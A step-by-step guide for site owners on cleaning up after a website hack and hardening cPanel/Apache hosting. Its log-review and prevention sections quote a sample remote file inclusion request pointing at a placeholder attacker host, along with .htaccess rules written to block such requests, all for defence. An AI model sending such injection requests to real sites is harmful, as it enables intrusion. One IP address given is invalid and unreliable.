Things to do after the website hacking

Website security: things to do after the website hacking
Step-by-step site repair

• In an emergency, a detailed procedure helps focus on the tasks and reduces the sense of panic, so that’s what this is.
• The concepts apply to any server configuration even though only Linux, Apache, and cPanel methods are described.
• The steps are given in order of priority if you have no idea where to start

There’s lots of detail to help you do the procedures easily even if you’ve never done them before. It may seem daunting at first, but just get focused and dive in. What you learn now will help you manage your site with more confidence in the future.

What not to do
Just repairing the damaged files and hoping this experience doesn’t happen again is not enough.
Nobody is ever, ever supposed to be able to add, delete, or change files in your website without your permission. It should never happen, so when it does, it is very important to find out how it happened. A hacked site had something seriously wrong with it, even before the bad guys got in.
Ok, let’s get started…
1) Log into cPanel
The line at the top, “Last login from:” should always be your IP address from the last time you logged in. If it isn’t, write it down.
If you don’t know your IP address, it currently appears to be 2011.234.171.44, but that will be inaccurate if you are viewing a cached copy of this page. A web search on “My IP address” will find sites that can give you a more reliable report.
With high-speed internet service, your IP is always the same. If you’re on dial-up, it’s different each time you log on.
If someone was able to log in to your control panel (like you do), they have your userID, password, and the same access to your site that you have.
However, before you assume the worst, remember that if your site is at a webhosting company and you submitted a support ticket recently, a service technician might have logged into your account while investigating and preparing a response.
2) Notify your web hosting company
File a support ticket. If you’re on shared hosting, only your webhost can clean up files outside your webspace that might have been affected.

• If you found an unknown IP address in cPanel, report it.
• Give the helpdesk an alternate email address that is not at your website so you’ll still get your mail if the site goes down or if the hacker is reading or deleting your website email.

3) Change all passwords: cPanel, publishing, databases, …
Always use strong passwords. If you have been using a single password in multiple locations, take this opportunity to make every password different. This is important. The linked article explains why.
a) FrontPage users only: Change your FrontPage password first.
If the FrontPage Extensions are installed on the site, change your FP password first:

1. Open your local copy of your site in FrontPage
2. Click the Remote Web Site tab and log in
3. Click Open your Remote Web site in FrontPage (this will open a new copy of FrontPage with your remote site in it)
4. Click Tools > Server > Change Password. Whenever you get a password prompt during this procedure, it wants the old one. It doesn’t want the new one until it asks for it.

After changing the FrontPage password…
b) Log in to your webhosting account and change the password there
Some webhosts allow password changes in cPanel. Others have a separate login for password changes.
Note: if you have scripts that use your cPanel userID and password to open database connections, the password change will break those scripts, and you will start getting connection failure or “Could not connect” errors:

• If the connection data is hard-coded into the scipts, go through the scripts and change the password in all of them.
• If your scripts read the connection data from an include (or other) file, change it in that file.
• Since you’re editing the files anyway, a better and more permanent solution is to stop using your cPanel userID/password, create a different user for database connections, put the connection data in one (protected) file, and have all your scripts read the data from the file, as described below.

c) Change the passwords you use for database connections
If your scripts connect to your databases as a user that is not your cPanel userID, the password change will not break your scripts. However, the hacker could have read the connection data for all your MySQL users from your files, so change all those passwords, too:

1. Go to cPanel > MySQL® Databases > Current Users.
2. In the list, find the user you want to modify. In shared hosting (and maybe in other environments, too), the username is prefixed with YourUserID_.
3. In Username: enter the name of the user, but do not enter the prefix or the underscore. Enter only the part after the underscore. If the user is userID_example, then you enter example.
4. In Password: enter the new password.
5. Click Create User.
6. The confirmation screen will tell you that the user was created with the new password.
7. When you return to the MySQL Account Maintenance screen, you’ll see that you have not really added a user, but only replaced the old one’s password, and that this user still has the same privileges in the same databases that it had previously. You will also see that cPanel has automatically added the userID_ prefix to the username.
8. Now change all your scripts to use the new passwords. See the bullet points in section b) above.

d) Change the passwords for all your email accounts

1. Go to: cPanel > Mail > Add/Remove/Manage Accounts.
2. Set a new password for each account.
3. If you access your email with a POP or IMAP email client such as Microsoft Outlook, change its configuration settings so it knows the correct new password for each account.

4) If it is a dire emergency, take your website offline
If extremely offensive material, or viruses, were put on your pages, protect your visitors and your reputation by taking your site offline. If you do this promptly enough, you might avoid getting the “This site may harm your computer” warning in Google search results.
5) Enable log archiving in cPanel

1. Go to cPanel > Raw Log Manager.
2. Check the “Archive Logs…” box.
3. Uncheck the “Remove the previous month’s archived logs…” box.
4. Click Save

If archiving was already on, the hack might be recorded in your log files. If archiving was off, it’s too late, but another attack will probably occur, and that will be logged.
6) Find and repair all the malicious changes that were made
This describes an ideal cleanup. Fully completing every step might be impossible, but you have to do the most you can.
If your site isn’t huge, and if you are thoroughly familiar with what is in your public_html folder, you can save time and trouble by deleting everything inside public_html (but don’t delete the public_html folder itself) and republishing the entire site from a backup copy. You need to use your judgment whether this method will work for your site without destroying files you don’t have copies of. You will still need to inspect your root directory (above public_html) and its other subdirectories for damage.
6a) Get a complete list of all the files in your website
There are three methods (Sections 6a, 6b, 6c). For most purposes, this first cron job method will be easier to review in detail than the other two methods.
You might not have direct access to Linux on your server to create a directory listing, but you can create a cron job that will do it. It is the equivalent of the MSDOS command dir /s.

1. Go to cPanel > Cron jobs > Standard.
2. (First make sure any cron jobs listed there are ones you created. If you discover any created by the hack, copy the command lines and email addresses for later reference, and then delete the jobs.)
3. Enter the email address where you want the output from your cron job sent.
4. Enter the command line to run. The switches are case-sensitive, so use exactly this capitalization:
   ls -1aFlqR
   Here it is in upper case to make the letters distinct, but this command is NOT the same as the one above. Don’t use it: LS -1AFLQR.
   The switches for the ls command are described at http://www.ss64.com/bash/ls.html and http://en.wikipedia.org/wiki/Ls.
5. Make selections in all the other fields to specify a time several minutes in the future.
6. Click “Save Crontab“.
7. After it runs, go back to Cron Jobs > Standard and delete this job.

The email will contain a file list with lines that look like the following example, which shows one directory and one file:
drwxr-x— 33 user user  4096 Feb 5 20:51 public_html/
-rw-r–r–  1 user user 16669 Feb 5 20:51 index.htm
A brief explanation:

• d indicates a directory; so does the trailing slash (/)
• The 3 groups of rwx are permissions for User, Group, World, in order.
  r, w, x stands for Read, Write, eXecute a program or enter a directory.
• The user fields should show only your hosting account userID or some other ones that are obvious system names.
• The numbers are file sizes.
• The timestamps are timestamps.
• There is further explanation in this post at Lunarforums.

Walkthrough of the above examples:
public_html:

• public_html is a directory.
• The User (owner, me) can read, write, or “execute” (enter) that folder.
• The Group (that I am member of) cannot Write to that folder (thus the hyphen where the w would be)
• The World (everyone else) has no permissions here (“—”). (I know that seems odd for public_html, but the reasons why are not useful here.)

index.htm:

• index.htm, the home page, is just a file: (no “d” or “/” indicator)
• User can Read or Write (rw-). No “x” because it’s not a program or folder.
• To everyone else (Group and World), the file is Read-only (r–).

How to use the listing:

8. If you have a similar list that you made previously when the site was clean, compare the two to find files that have changed size, files whose timestamps are not what they should be, and new files that shouldn’t be there.
9. If you don’t have a prior list to compare against, review the new list for files that seem out of place. See What To Look For, below.

6b) Examine your site’s files in cPanel > File Manager
If you can’t use the cron job method, this is an alternative, but navigating up and down the directory tree gets tedious.
In File Manager, file and folder permissions are shown numerically. R=4, W=2, X=1. The permission level for a user is the sum, so the maximum a user can have is 7. If, for example, the User has RW, but Group and World only have R, then the permissions will be: 4+2=6, 4, 4, or “644″.
6c) Examine your site’s files using FTP
With an FTP view of your website, the folders and files look like what you are used to in Windows Explorer.
FTP view is available using one of the many “FTP client” programs, or Internet Explorer 6 or 7, or Windows Explorer.
FTP view is easy to navigate, and it allows sorting on the Date Modified column so you can spot files modified more recently than they should have been, but FTP view doesn’t show file and folder permissions (or at least the ones described below don’t).
With any FTP method, you need the FTP address for your site. It is probably something like: ftp://yourdomain.com/ or ftp://ftp.yourdomain.com/. If in doubt, ask your webhost.
a) FTP by IE6
In the IE6 address bar, type the FTP address for your site. If you don’t get a login prompt, click File > Login As…
b) FTP by IE7
Help for this is available in IE7 Help (F1) > Contents > FTP.

1. Open Tools > Internet Options > Advanced
2. Make sure “Enable FTP folder view (outside IE)” is checked.
3. Click OK.
4. In the IE7 address bar, type the FTP address for your site.
5. Ignore the error page.
6. Click Page > Open FTP site in Windows Explorer…
7. At the FTP Folder Error dialog box, click OK.
8. Click File > Login As… to obtain the login prompt.

c) FTP by Windows Explorer

1. Enable the address bar (View > Toolbars > Address bar). You may need to unlock the toolbars, relocate, and resize it.
2. In the address bar, type the FTP address for your site.
3. At the FTP Folder Error dialog box, click OK.
4. Click File > Login As… to obtain the login prompt.

d) FTP by FireFTP.
One feature of the FireFTP Firefox extension is “Directory Comparison”, which looks useful. I haven’t tried it.
6d) What to look for in the list of files

• Pages with modified dates more recent than you last saved the page yourself. Inspect each modified page to see if code has been added to it. Malicious changes to your displayable website pages often take the form of invisible iframes or “obfuscated” JavaScript. A separate article, what to do when Google flags your website with a “This site may harm your computer” warning, describes methods to locate and identify malicious iframes and JavaScript.If malicious JavaScript was added to your pages, it is a clue that the intent of the attack was to launch browser exploits against your site visitors.If iframes were inserted, it’s a clue that the intent was either to launch browser exploits, as above, or to obtain a benefit from serving invisible content on your pages, such as links to other sites for higher search engine rankings.
• New files with obviously suspicious names. Some hacks install files with names like hacked.html or vulnerable.php, etc. Others might have nonsensical names or names consisting of random character strings. Some might be in locations that make them suspicious, like a .php file in your /images folder. If you find a file that was definitely installed by the attack, search for other files that have almost the exact same timestamp.
• Files you don’t recognize. Determine whether each one is malicious or not. You can examine plain text PHP (.php) or Perl (.pl) scripts in a text editor.Unfortunately, you cannot simply delete all the files that aren’t yours. Some are required system files that you just never noticed before. When in doubt, do a web search on the filename or post a question in a forum. Research the names of unfamiliar CGI programs, since they cannot be examined visually.If an exploit modified files on your server, but not your displayable pages, it points to a motivation that didn’t involve targeting your site visitors. It may have been trying to turn your site into a spam emailer, a robot crawler to attack other sites, or to install on your site a library of malicious scripts or other content to be called by injected iframes or RFI attacks on other websites.
• Check your root directory (“/”) and its subdirectories for malicious or altered files. Even if you delete the contents of your public_html and republish the site from scratch, that doesn’t overwrite your folders above public_html, so you must check those manually.

7) Check all file and folder permissions
Using the complete file list you made, or File Manager, make sure all file and folder permissions are what they should be. When in doubt, you can compare the permissions of similar or neighboring files and folders. A hacker is unlikely to bother with changing all permissions. Review the brief “RWX” explanation above and apply common sense. Your site visitors are “World”, so World needs Read access to files they are supposed to see. World should almost never have Write access to anything. Although different hosts have different configurations, common permissions for world-accessible folders are 755, and common permissions for world-accessible files are 644. It is left to you to figure out why. If you start running across what look like permissions hacks, you will need to study permissions settings more carefully and do a detailed investigation of each file and folder. Some files and folders have unusual permissions settings for valid reasons.
A hacker can modify file or folder permissions to allow them to get back in even after you clean up everything else in your site. If they can give themselves Write permission to one folder, they can upload exploit scripts, run them, and reinstall the hack.
Change all your passwords again
In case someone was “watching” inside your site while you did it the first time, do it again now that you know the site is clean.
9) Try to identify the IP address that launched the attack
If you can identify their IP address, such as from an obviously unauthorized FTP access, you will be able to search all your logs for all the places where that IP address appears.
Stats programs like Analog, Webalizer, or AWStats are not going to be much help because they generate aggregated statistics. You need detail.
cPanel > Web/FTP Stats > Latest Visitors is useful and easy. It is a good place to go when you first notice the hack, but it is only a start. You really need the full raw logs.
a) If you have never used your site’s raw access logs before:
You website’s raw access logs are stored and sent to you as gzipped files. One program that will easily extract .gz files is 7-Zip. It is a command line utility that you run from a “Command Prompt” (aka “DOS box”).
b) Get your logs from cPanel > Raw Log Manager

1. Go to cPanel > Raw Log Manager. If you don’t see a log file there, try cPanel > Raw Access Logs. That is a holding file where your data is stored until the server does its daily statistics processing, after which it is transferred to Raw Log Manager.
2. Click the name of the file you want to download.
3. At the Open or Save prompt, click Save. Use a descriptive filename. Save the file to a folder that will be easy to navigate to in a Command Prompt. C:\TEMP works well.
4. Open a Command Prompt:
   Start > All Programs > Accessories > Command Prompt, or
   Start > Run > cmd.exe
5. Go to the folder where you saved the .gz file: cd \temp
6. Type the command line to extract the .gz file:
   7za.exe x filename.gz
7. You should get a report that says “Everything is Ok”.
8. I usually delete the .gz file and rename the output file to .log.
9. WordPad is best for viewing these log files as text. Set the font to a monospaced font, with word wrap Off.
10. If you are comfortable using Microsoft Access, the Webstats.mdb database has tables into which you can import your log files.
11. The HTTP log will also import into Excel, but you will need to tweak the text import wizard settings to get the fields into their columns properly.

Go through the logs carefully. If log archiving was on at the time of the hack, look for suspicious activity in the days prior to the hack. Keep watching the logs in case the hackers come back.
Your regular log shows HTTP accesses, your normal site visitors.
In the log entries, review the field called REMOTE_USER, User, or UserID. This field is blank (“-”) most of the time. Where it does have a value, make sure it’s your UserID and that the IP address is yours.
Mixed in with all the legitimate requests, look for attempts to GET pages that don’t exist (result code = 404), especially when the request looks like:
GET /filename.php?inc=http://badsite.com/hackscript.txt.
These are looking for vulnerable scripts and attempting to inject code into them. They are called Remote File Inclusion (RFI) attacks. They are extremely common, dangerous, and often successful.
Look for requests where the action is not GET, but PUT (suspicious) or POST (only suspicious if your pages never use it).
Try to correlate entries in your log with other site activity. For example, a hacked file will have a timestamp showing when it was modified. If your HTTP log shows that someone requested one of your .php files moments before the timestamp, that would be suspicious, especially if the GET command included code like the above (…php?inc=). Examine that .php file to see if it has a vulnerability that would have allowed the hack to occur. This is how your logs can help identify how a hacker got in.
In the above example, you could also use your browser to download the hackscript.txt file for inspection. If it calls other files from other sites, you can go get those, too. Following the trail and examining the code will reveal what the hack did to your site. Make sure your antivirus software is up-to-date first. Some of these files (PHP scripts) would normally only be hazardous to your server, not your home PC and browser, but others (especially the second-level ones called by the original PHP script) will directly try to infect your PC. Wget is a useful utility for retrieving potentially hazardous files without allowing them to be processed by a browser.
Your FTP log shows FTP accesses, one way that hackers can download your pages, modify them, and upload them back to your website. The only IP addresses in the FTP log should be yours and other authorized FTP users. Make sure the timestamps match times you were logged in and doing transfers.
To understand the codes used in your FTP log, see
http://www.wu-ftpd.org/man/xferlog.html.
I’ve seen reports of instances where a webhost spotted in an FTP log a transfer from an IP address other than the website owner’s and immediately assumed (and informed the owner) that their password had been guessed, cracked, or stolen. Too many of these times, however, the circumstances as reported to me have made the webhost’s claim unbelievable. Here is a hypothesis for an alternative explanation…
PHP scripts called by RFI attacks sometimes use PHP’s FTP functions to download additional hack scripts and related files from a remote server so it can run or install them. The initial RFI includes the remote script into a legitimate script on the victim server, at which point it becomes a part of that script. The script initiates an FTP transfer, which should show in the server’s FTP log. The server is not going to show its own IP address in the FTP log, but rather that of the 2nd party to the transfer, the remote website. The log of the session will make it appear as though someone logged in and initiated an FTP session, whereas in fact there was no login, and there didn’t have to be one, because the session was initiated on the server itself, from within.
Until this is tested, it remains only a hypothesis, but remember it as a possibility if you find IP addresses other than yours in your FTP log or if your webhost tries too quickly, without considering other evidence, to convince you that your password “must have been” cracked. The danger is that you may think all you need to do is change your password. If the real source of the hack was RFI, changing your password won’t help.

c) Use .htaccess or cPanel > Deny IP to block the hacker’s HTTP access to your site
If you identified the hacker’s IP address, one site where you can look it up to get more information about it is http://whois.domaintools.com/.
You can ban the hacker’s IP address from your site using your public_html/.htaccess file. Apache documentation for this is at: http://httpd.apache.org/docs/1.3/mod/mod_access.html.
Review the instructions in a prior article for how to open .htaccess for editing. As described there, insert the following line in a part of the file that is not enclosed in HTML-like tags.
deny from nnn.nnn.nnn.nnn
The nnn’s are the IP address to block.
If the hacker returns with a different IP that is in the same IP range (i.e. using the same ISP), you can block the whole range for a while, although that carries the risk of banning legitimate visitors, too.
The Apache documentation has instructions for banning a range. Some IP ranges are easily specified using a simple wildcard notation. Others ranges can only be successfully defined using “CIDR/netmask” notation. Although it looks intimidating, it’s easy after the first time you do it. See the separate article describing how to calculate and use the CIDR/netmask.
d) If the hacker has obtained access to your cPanel or FTP, banning their IP address in .htaccess will NOT keep them out of cPanel and FTP.
If they have scripts that they call by HTTP, it will prevent them from doing that, but only until they log into cPanel and un-ban themselves in .htaccess.

10) Investigate what made the hack possible
It might be obvious or it might require detective work. The section below on hack prevention describes some common avenues of attack. It is important to identify how they got in so you can prevent the next attack. For example, if they got in through a vulnerable script, and you don’t rewrite or update the script, all the work you’ve done to this point is useless because they can come right back and wreck your site again.
Three common avenues:

1. Old vulnerable versions of third party scripts. Make sure you are always using the latest versions of software for forums, image galleries, blogs, shopping carts, and everything else.The script version is often shown on the pages generated by the script, so go to your gallery, blog, or forum, and look around. Then compare the version to the latest one being distributed at the website for that software.If you do your installations through Fantastico, you can check your versions at cPanel > Fantastico > Installations overview, but Fantastico itself is often a version behind the current release. It is better to do your version check (and installations) manually if you are able.
2. The site password was easy to crack.
3. Homebrew PHP or CGI scripts were flawed and had security holes. Make sure the settings in your php.ini file
   are as secure as possible.If you suspect that a script you wrote yourself might have provided the security hole through which the hackers got in, it is safest to stop using that script until you can examine it for safety. Rename or delete it so the hacker can’t continue to access it by its previous name.

Regardless of what the specific point of entry was (forum, gallery, blog, etc.), the top suspect should always be a Remote File Inclusion attack that succeeded because of insecure php.ini or .htaccess settings. More than 99% of the attacks on this website are RFI attempts. That does not mean RFI is the only possibility. It is not. But it is the first one to investigate unless you already have good evidence that it was something else. RFI attacks show in your HTTP access logs, and are described throughout this article.

11) Report or go after the hacker legally?
You can try, but your chances of getting anywhere with it might not be great.
Hacking is a violation of the terms of service for any legitimate web host or ISP. If you can prove that someone is using a particular IP address for hacking, you could report the incident to the web host or ISP in hopes that they might shut the perpetrator down. The contact email is often abuse@ the company.
What to do NOW to protect your website
Steps to prevent hacking
1) Always use strong passwords.
2) Use a different password for every purpose.
3) Don’t weaken your server’s file and folder permissions.
Each file and folder on your server has permissions settings that determine who can read or write that file, execute that program, or enter that folder. Your webhost initially created your webspace with secure permission settings on all files and folders.
Do not modify the permissions until you know what you’re doing. Don’t guess. One mistake can allow anyone in the world to put files on your site.
In particular, people having trouble installing web applications are sometimes told, “try setting the permissions to 777″. Never do this until you have asked your web host if it is safe on your particular server configuration, and remember that for some web applications, 777 is only used during the installation, and must not be left that way. Also remember to delete the install scripts after use, if the instructions tell you to.
There is a brief explanation of permissions settings earlier in this article.
4) Choose third party scripts carefully
Don’t load your website down with every cool script, gadget, feature, function, and code snippet you can find on the web. Any one of them could be an avenue of attack. Before you use one, do a web search to discover if it has caused problems for others.
5) Keep third party scripts up to date
If you use well-maintained third party scripts like Coppermine, WordPress, SMF, phpBB, or others, get on a mailing list, RSS feed, or visit forums where updates are announced. When a security update is released, install it promptly. When a vulnerability is found in a commonly used script, it will be exploited soon by a lot of hackers because it gives them entry to a large number of sites.
6) Write your own scripts securely

• Learn about the security risks of every language you use.
• When you use an unfamiliar function for the first time, look it up in the manual to see if it has security implications, do’s and don’ts.
• For PHP, use a php.ini file to block common avenues of attack.
• There are lots of online resources for learning how to code securely.

A vulnerable script can give hackers access to your user database and to financial or other confidential data.

• All data that comes into your script from the outside world is a security hazard. If your script takes input from a user form submission or from a URL query string or from a cookie, the input must be cleaned before it’s used to include a file or access a database. An example of how one injection exploit works is at this Lunarforums post.

7) Block suspicious activity with .htaccess
Regularly look through your raw access logs. They will probably reveal attacks of the types described in this article. Even if the attempts are unsuccessful, your logs give early warning about what methods hackers are trying to use, which gives you time to figure out how to defend against them. It won’t be long before you can tell what is a legitimate request and what is malicious. Here are some examples of how to block suspicious activity:

1. Ban bad robots.
   One program often misused for automated remote file inclusion attacks is called  “libwww-perl”. The RFI cannot succeed if your server refuses to serve the file, so blocking this commonly malicious User-Agent can be one defense in a multi-layer approach. (Another layer is to use secure php.ini settings.) Put the following lines in your public_html/.htaccess, in a part of the file that is not delimited by HTML-style tags like <tag></tag>:

SetEnvIfNoCase User-Agent libwww-perl block_bad_bots
# to deny more bots, copy the line above and change
# only libwww-perl, to match the new name.
deny from env=block_bad_bots
SetEnvIfNoCase does a case-insensitive test of the User-Agent against a regular expression, which in this case is “contains libwww-perl”. If it matches, it sets the variable block_bad_bots. The final line says if block_bad_bots was set (i.e. if the requestor matched any of the bad robots), refuse to process the request and send a 403 Forbidden error instead. Regardless of what the bad robot was trying to do, it won’t succeed.

2. Ban suspicious URL query strings.
   Another defense against RFI is to block all requests having the form:
   GET /index.php?inc=http://badsite.com/hackscript.txt?
   The following .htaccess code blocks any request where the query string (the part after the first question mark) contains “=http://” or “=ftp://”. During times when you need to use a query string of that type yourself, you can comment out the code block or enable the exception shown:

RewriteCond %{QUERY_STRING} ^.*=(ht|f)tp\://.*$ [NC]
# Allow yourself, for SMF Forum Package Manager upgrades.
# Set it to your own IP address during the upgrade.
#RewriteCond %{REMOTE_ADDR} !^111\.222\.333\.444$ [NC]
RewriteRule .* – [F,L]

To test: you should get a 403 Forbidden error when you try to go to:
http://yoursite.com?inc=http://yoursite.com/pagename.htm?
http://yoursite.com?inc=ftp://yoursite.com/pagename.htm?
If you have coded your pages to use remote file includes from your own site or from another site you manage and trust, you should be able to modify the above code (with additional RewriteCond lines) so the includes from those sites are permitted but all others are rejected. I haven’t tested this, and it does weaken the defense by creating an exploitable loophole (where a hacker uses two instances of =http:// or =ftp:// in the query string, one being a page on your site), but it’s better than nothing, and the code should be something like:

RewriteCond %{QUERY_STRING} ^.*=(ht|f)tp\://.*$ [NC]
RewriteCond %{QUERY_STRING} !^.*=(ht|f)tp\://yoursite.com.*$ [NC]
RewriteCond %{QUERY_STRING} !^.*=(ht|f)tp\://trustedsite.com.*$ [NC]
RewriteRule .* – [F,L]

Other potential bans:
1) Malicious RFI attempts almost always have at least one question mark at the end of the query string, so ban any query string that contains a question mark. The first question mark (which indicates the beginning of the query string) is not part of the query string, so only question marks after the first one will trigger the ban.
2) Be creative: all you need to do is find the characteristics that are common in the attacks on your site but that are never present in legitimate requests. Be thorough: use every good ban rule you can think of. “Good enough” is not good enough. It is very satisfying to see an attack on your site and know that even though it only had to trigger one ban rule to fail, you had six more in reserve that would have blocked the request if they’d had to.

3. Ban IP addresses responsible for suspicious activity.
   You can block IP addresses (or ranges) in .htaccess or by cPanel > Deny IP. Although such bans can be useful against IP addresses you are 100% certain will never make a legitimate request, they aren’t otherwise very practical. Once a botnet starts attacking your site, the requests will come from hundreds of different IPs, and banning them all will be futile. It is much better to ban by the other characteristics of the requests.

Keep spyware off your computer. Prevent password interception.

• If you use a wireless network, make sure it is not open to eavesdroppers.
• Keep your computer free of spyware such as keyloggers.
• If you’re worried about your password being intercepted between you and your server, use encrypted https to log in to your server.

Preparations that will make hack diagnosis and cleanup easier
1) Turn on log archiving in cPanel
Periodically delete the accumulated logs so they don’t consume all your hard drive space.
2) Get a list of your site files NOW while they are known-good
This will be a baseline list of all the files that are supposed to be in your website. After a hack, it will help you decide whether a file you don’t recognize is related to the hack or is a system file that you just never noticed before.
3) Explore your website and become familiar with what is there
Not just your pages, but the whole site, using FTP or File Manager or the complete file list you made. Get used to what is normal so things that aren’t will catch your attention.
4) Use good database connection practices in scripts:
a) Create separate MySQL users for your scripts to use
If you use your cPanel userID and password for database connections in your scripts, then changing your cPanel password will instantly break all your scripts until you recode them to use the new password.
Instead, create one or more new users, completely unrelated to your cPanel login, that your scripts can use for their database connections:

1. Go to cPanel > MySQL® Databases > Current Users.
2. In Username: enter the name of the user to create. Although the existing user names might appear as YourUserID_username, don’t enter the prefix and underscore. cPanel will do that for you, if needed.
3. In Password: enter the password to use. Make it a strong one.
4. Click Create User, read the confirmation screen, and then Go Back to the MySQL Account Maintenance page.
5. Go to the Add Users To Your Databases section.
6. In the left dropdown box, select the user you just created.
7. In the right dropdown box, select the database you want that user to be able to connect to.
8. Select the Privileges you want that user to have for that database, by checking the appropriate boxes. Select only the privileges the user really needs for performing whatever tasks your scripts will do. Granting only limited privileges is a security precaution.
9. Click Add User To Database. Your new user now has the specified privileges, for that database only. Add the user to other databases, if needed.

Now update your scripts so they use the connection data for this new user instead of your old cPanel user. However, …
b) Put your MySQL connection data in a well protected file
If each of your scripts has its own code block for database connection, then if you are hacked and have to change your passwords, you’ll have to hunt through all your files to find every code block that needs changing.
Instead, put all your database connection code in one central location such as an include file that is well-protected from web access, and make all your scripts read it from there. There are examples and some discussion about how to do this in the User Contributed Notes at http://us.php.net/mysql_connect. You can protect your include file by putting it in a folder above public_html, or in any folder that is closed to web access by an .htaccess file, or by the other methods mentioned in the php.net Notes.
Unfortunately, none of these protection methods will keep your data safe from a hacker who has actually gotten into your site, but the new database connection method you have just created will make it easier to change your password if that does happen.